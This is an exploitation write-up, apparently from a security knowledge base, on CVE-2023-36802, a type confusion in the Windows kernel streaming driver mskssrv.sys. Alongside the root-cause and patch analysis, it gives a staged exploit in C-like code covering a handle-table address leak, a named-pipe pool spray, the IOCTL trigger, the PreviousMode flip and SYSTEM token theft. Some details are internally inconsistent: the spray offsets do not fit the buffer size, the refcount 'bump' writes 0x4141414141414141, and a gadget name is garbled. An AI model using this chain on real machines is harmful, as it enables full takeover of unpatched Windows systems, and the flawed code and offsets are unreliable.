CVE-2023-36802 — MSKSSRV Type Confusion: FsContextReg/FSStreamReg OOB → PreviousMode LPE

Last updated: 2026-04-19
Severity: High (CVSS 7.8)
Component: mskssrv.sys (Microsoft Kernel Streaming Service Proxy)
Bug Class: Type Confusion → OOB read/write → ObfDereferenceObject arbitrary decrement
Privilege Escalation: User → SYSTEM
Patch: September 2023 Patch Tuesday (KB5030211/KB5030214 Win10; KB5030219/KB5030217 Win11)
Related: Kernel Streaming, Type Confusion, Primitives, Pool Internals

Vulnerability Summary

mskssrv.sys (Microsoft Kernel Streaming Service Proxy) implements a frame server for virtualizing and sharing camera devices. FSRendezvousServer::FindObject() retrieves an object from FILE_OBJECT.FsContext2 without validating its type. An attacker can place an FsContextReg (0x78 bytes) there via IOCTL_FRAMESERVER_INIT_CONTEXT, then call IOCTL_FRAMESERVER_PUBLISH_RX, which passes the result directly to FSStreamReg::PublishRx(). That function expects an FSStreamReg (0x1D8 bytes) and dereferences attacker-controlled data at offset +0x1C8 — 0x150 bytes past the end of FsContextReg. The function calls ObfDereferenceObject() on the value at that offset, yielding an arbitrary decrement primitive that can target KTHREAD.PreviousMode for a User→SYSTEM escalation.

Status: Exploited in the wild at time of patch (September 2023). chompie1337 (IBM X-Force) independently found and reported the bug; Microsoft confirmed ITW exploitation before the blog was published — hence the name “Critically Close to Zero Day.”


Root Cause Analysis

Component: mskssrv.sys

mskssrv.sys implements the Windows Camera Frame Server: it virtualizes webcam/camera devices so multiple applications can share one physical camera simultaneously. Key IOCTLs:

IOCTLCodeAction
IOCTL_FRAMESERVER_INIT_CONTEXT0x2F0400Allocates FsContextReg; stores ptr in FILE_OBJECT.FsContext2
IOCTL_FRAMESERVER_PUBLISH_RX0x2F040CCalls FSStreamReg::PublishRx() on FsContext2 object
IOCTL_FRAMESERVER_PUBLISH_TX0x2F0410Similar, tx direction
IOCTL_FRAMESERVER_CONSUME_TX0x2F0408Similar

Vulnerable Structures

FsContextReg (aka Creg):

// Size: 0x78 bytes (0x90 with pool header)
// Pool tag: 'Creg'
// Pool type: NonPagedPool
// Allocated by IOCTL_FRAMESERVER_INIT_CONTEXT
// Stores thread/process context for the frame server connection
struct FsContextReg {
    // ... context fields up to 0x78
    // Attacker-controlled data begins immediately AFTER this in pool
};

FSStreamReg:

// Size: 0x1D8 bytes
// Allocated by IOCTL_FRAMESERVER_REGISTER_STREAM
// Expected by FSStreamReg::PublishRx()
struct FSStreamReg {
    // ...
    // +0x038: [field used by first ObfDereferenceObject call — within FsContextReg bounds, less controlled]
    // ...
    // +0x188: Frames queue pointer
    // +0x198: Frame list link
    // +0x1A8: ProcessBilled pool object pointer (NULL = skip pool billing)
    // +0x1C8: [field used by SECOND ObfDereferenceObject call — 0x150 past end of FsContextReg!]
    // +0x1D0: ...
};

Type Confusion Trigger

Attacker → IOCTL_FRAMESERVER_INIT_CONTEXT
  └─ mskssrv!FSRendezvousServer::InitContext()
       └─ alloc FsContextReg (0x78 bytes) → store in FILE_OBJECT.FsContext2

Attacker → IOCTL_FRAMESERVER_PUBLISH_RX
  └─ mskssrv!FSRendezvousServer::PublishRx()
       └─ FSRendezvousServer::FindObject()
            └─ return FILE_OBJECT.FsContext2  ← NO TYPE CHECK!
       └─ FSStreamReg::PublishRx(FsContextReg_ptr)  ← CONFUSION: 0x78 obj treated as 0x1D8
            ├─ ObfDereferenceObject(ptr + 0x038)  ← within FsContextReg (semi-controlled)
            └─ ObfDereferenceObject(ptr + 0x1C8)  ← 0x150 past FsContextReg END (attacker-controlled!)

ObfDereferenceObject as Decrement Primitive

ObfDereferenceObject(addr) performs an atomic decrement at (addr - 0x30):

ObfDereferenceObject(addr):
    InterlockedDecrement64(addr - 0x30);  // decrements the RefCount field of the pool object

If the attacker places target + 0x30 at offset +0x1C8 of FsContextReg in controlled pool memory, the decrement lands exactly at target. For PreviousMode decrement: target = KTHREAD + 0x232.

Adjacent pool data at (FsContextReg + 0x150):  [KTHREAD+0x232 + 0x30]
                                                = KTHREAD + 0x262
ObfDereferenceObject dereferences this → decrements *(KTHREAD+0x262 - 0x30) = *(KTHREAD+0x232)
PreviousMode: 1 → 0 → kernel-mode NtRead/WriteVirtualMemory enabled

Exploitation Technique

Stage 1: KASLR Defeat

// Get kernel address of current thread's KTHREAD:
NtQuerySystemInformation(SystemExtendedHandleInformation /*64*/, ...);
// → scan returned handles for the current thread's FILE_OBJECT
// → FILE_OBJECT + 0x18 → FSRTL_COMMON_FCB_HEADER → infer KTHREAD via GS:[0x188]
// Alternatively: leak via NtQuerySystemInformation → EPROCESS walker

Stage 2: Pool Spray (Named Pipe, NonPagedPoolNx, 0x90 bytes)

// FsContextReg is 0x78 bytes with pool tag 'Creg' in NonPagedPoolNx
// With 0x10-byte pool header = 0x90 total allocation unit
// Named pipe unbuffered write (no DATA_QUEUE_ENTRY header) matches this size:

HANDLE pipes[0x10000];
for (int i = 0; i < 0x10000; i++) {
    // Create pipe, write 0x80 bytes via NtFsControlFile(IOCTL=0x119FF8)
    // Creates 0x90-byte allocation in NonPagedPoolNx
    // Buffer contains: ... [at offset 0x150]: KTHREAD + 0x262
    spray_pipe(pipes[i], controlled_data_0x80, KTHREAD_plus_0x262_at_offset_0x150);
}

// Free every 4th pipe to create allocation holes:
for (int i = 0; i < 0x10000; i += 4)
    CloseHandle(pipes[i]);

Stage 3: FsContextReg Placement into Hole

// Open MSKSSRV device:
HANDLE hDevice = CreateFile("\\\\.\\GLOBALROOT\\Device\\GLOBALROOT\\Device\\MSKSSRV", ...);

// IOCTL_FRAMESERVER_INIT_CONTEXT allocates FsContextReg (0x90 in NonPagedPoolNx)
// → lands in one of the freed holes → named pipe data immediately follows FsContextReg
DeviceIoControl(hDevice, 0x2F0400, ...);  // FsContext2 = &FsContextReg
// Now: FsContextReg[0x00..0x77] = kernel-managed
//      FsContextReg[0x78..0xEF] = attacker-controlled named pipe data
//      At offset 0x1C8 from FsContextReg start = 0x78 + 0x150 from pipe data start
//      → named pipe wrote KTHREAD+0x262 at that offset ✓

Stage 4: Trigger Type Confusion (Secondary Thread)

FSStreamReg::PublishRx() also calls KeSetEvent, which would BSOD if the fake structure is wrong. Solution: run the IOCTL on a secondary thread with a self-referencing loop:

// In the named pipe data at FSStreamReg+0x???: 
// Set FSFrameMdl::MoveNext list entry to self-referencing → 
// keeps PublishRx spinning in a frame processing loop
// 
// Set FSStreamReg+0x1A8 (ProcessBilled) = NULL → skips pool deallocation crash

DWORD WINAPI trigger_thread(LPVOID) {
    DeviceIoControl(hDevice, 0x2F040C, ...);  // PUBLISH_RX → type confusion
    // Thread stays in loop due to self-referencing Flink/Blink
    return 0;
}
CreateThread(NULL, 0, trigger_thread, NULL, 0, NULL);

// Main thread: wait for PreviousMode to flip
while (*(BYTE*)(kthread + 0x232) != 0) Sleep(1);
// Once PreviousMode=0: signal secondary thread to exit loop
*(PVOID*)((BYTE*)pipe_data + offset_of_self_ref) = valid_exit_pointer;

Stage 5: Kernel R/W via PreviousMode=0

// With PreviousMode=0 on main thread:
// NtReadVirtualMemory / NtWriteVirtualMemory treat all addresses as KernelMode
// → bypass SMEP/PTE user-bit checks for pointer targets

// Find SYSTEM EPROCESS:
ULONG_PTR eprocess = current_eprocess;
while (*(ULONG_PTR*)(eprocess + 0x440) != 4) {  // UniqueProcessId == 4 (System)
    eprocess = *(ULONG_PTR*)(eprocess + 0x448) - 0x448;  // ActiveProcessLinks walk
}
ULONG_PTR system_token = *(ULONG_PTR*)(eprocess + 0x4B8) & ~0xF;

// Overwrite current process token:
ULONG_PTR current_eprocess = /* from NtQuerySystemInformation */;
// Bump system token refcount to avoid crash:
*(ULONG_PTR*)(system_token - 0x30) = 0x4141414141414141;
*(ULONG_PTR*)(current_eprocess + 0x4B8) = system_token;

Stage 6: Cleanup

// Restore PreviousMode (XOR bit 0: 0 → 1):
*(BYTE*)(kthread + 0x232) ^= 1;
// Restore ProcessBilled (if needed)
// Exit → spawned shell inherits SYSTEM token

In-the-Wild Exploit (CLFS-Based Path)

The ITW exploit used a CLFS-based approach instead of PreviousMode decrement — likely targeting Windows versions where the PreviousMode path was less reliable:

  1. Create/open a CLFS log file → leak its kernel address (via NtQuerySystemInformation)
  2. Spray pool with crafted objects at the size/location of FSStreamReg+0x1C8 read target
  3. FSFrameMdl::UnmapPages() is called on the OOB-read pointer
  4. Forge a fake CClfsContainer object with a fake vtable in user space
  5. vtable dispatch via UnmapPages → call gadget: PoFxProcessorNotificationRtlClearBit
  6. RtlClearBit writes 0 to a controlled bit position → used to clear security-sensitive fields or PreviousMode

This CLFS interaction is similar to the technique used in CVE-2023-28252 exploitation chains — CClfsContainer fake vtables were a well-known primitive in 2023.


Key Primitives Used

  • Arbitrary decrement (–1): ObfDereferenceObject(controlled_addr + 0x30)*(controlled_addr) -= 1
  • PreviousMode flip: decrement KTHREAD+0x232 from 1 → 0 → unlimited kernel read/write via NtR/WVirtualMemory
  • Named pipe pool spray (NonPagedPoolNx, 0x80 bytes): canonical spray for 0x90-sized NonPagedPool slots

Mitigations Bypassed

MitigationStatusNotes
KASLRBypassedNtQuerySystemInformation(64) leaks KTHREAD/EPROCESS addresses
SMEPBypassedPreviousMode=0 makes kernel use user-mode memory as kernel pointers without fault
kCFGBypassedExploit uses ObfDereferenceObject — valid CFG target — as the primitive; no fake function pointers needed in PreviousMode path
PreviousMode checkBypassedIt IS the target of the exploit
Future: CastGuardWould mitigateCompile-time type safety would catch FsContextReg→FSStreamReg confusion

Proof-of-Concept Notes

  • chompie1337 (IBM X-Force) — PoC demonstrated locally; published October 2023
  • GitHub PoC: github.com/x0rb3l/CVE-2023-36802-MSKSSRV-LPE
  • GitHub PoC: github.com/Nero22k/cve-2023-36802
  • Tested: Windows 10 21H2, Windows 11 22H2
  • Warning from researcher: “PreviousMode attacks might not work on future/insider builds” — Microsoft has been progressively restricting PreviousMode-based exploit chains

Patch Analysis

FSRendezvousServer::FindObject() was renamed to FSRendezvousServer::FindStreamObject() and a type check was added:

// Before (vulnerable):
PVOID FSRendezvousServer::FindObject(FILE_OBJECT* fileObj) {
    return fileObj->FsContext2;  // no type validation
}

// After (patched):
PVOID FSRendezvousServer::FindStreamObject(FILE_OBJECT* fileObj) {
    FsContextReg* obj = (FsContextReg*)fileObj->FsContext2;
    if (!obj || obj->TypeField != 2)  // TypeField == 2 set only in FSStreamReg ctor
        return FALSE;
    return obj;
}

The type check relies on a TypeField (or equivalent discriminant) at a known offset of the object, set to 2 only during FSStreamReg construction. FsContextReg objects have a different type value, so FindStreamObject returns FALSE and PublishRx is not invoked.


Relationship to CVE-2023-29360

CVE-2023-29360 is a separate mskssrv.sys vulnerability (patched June 2023, ~3 months earlier) discovered by Synacktiv at Pwn2Own 2023. That bug: FsAllocAndLockMdl calls MmProbeAndLockPages with KernelMode instead of UserMode, bypassing address validation and allowing arbitrary kernel addresses to be mapped into user space for read/write. CVE-2023-36802 is an independent type confusion bug; they share the same driver but are unrelated code paths.


Windows Versions Affected

VersionPatched KB
Windows 10 (various)KB5030211 / KB5030214
Windows 11 (various)KB5030219 / KB5030217
Windows Server 2019KB5030214
Windows Server 2022KB5030216 / KB5030251

References

  • Valentina Palmiotti (chompie1337 / IBM X-Force), “Critically Close to Zero-Day: Exploiting Microsoft Kernel Streaming Service”, IBM Security Intelligence, October 2023 — https://www.ibm.com/think/x-force/critically-close-to-zero-day-exploiting-microsoft-kernel-streaming-service
  • Google Project Zero 0-days In-the-Wild RCA — https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2023/CVE-2023-36802.html
  • Microsoft MSRC Advisory — https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36802
  • GitHub PoC by x0rb3l — https://github.com/x0rb3l/CVE-2023-36802-MSKSSRV-LPE
  • GitHub PoC by Nero22k — https://github.com/Nero22k/cve-2023-36802
  • Synacktiv, “Windows Kernel Security — CVE-2023-29360”, HITB 2023 HKT (related mskssrv bug, different root cause)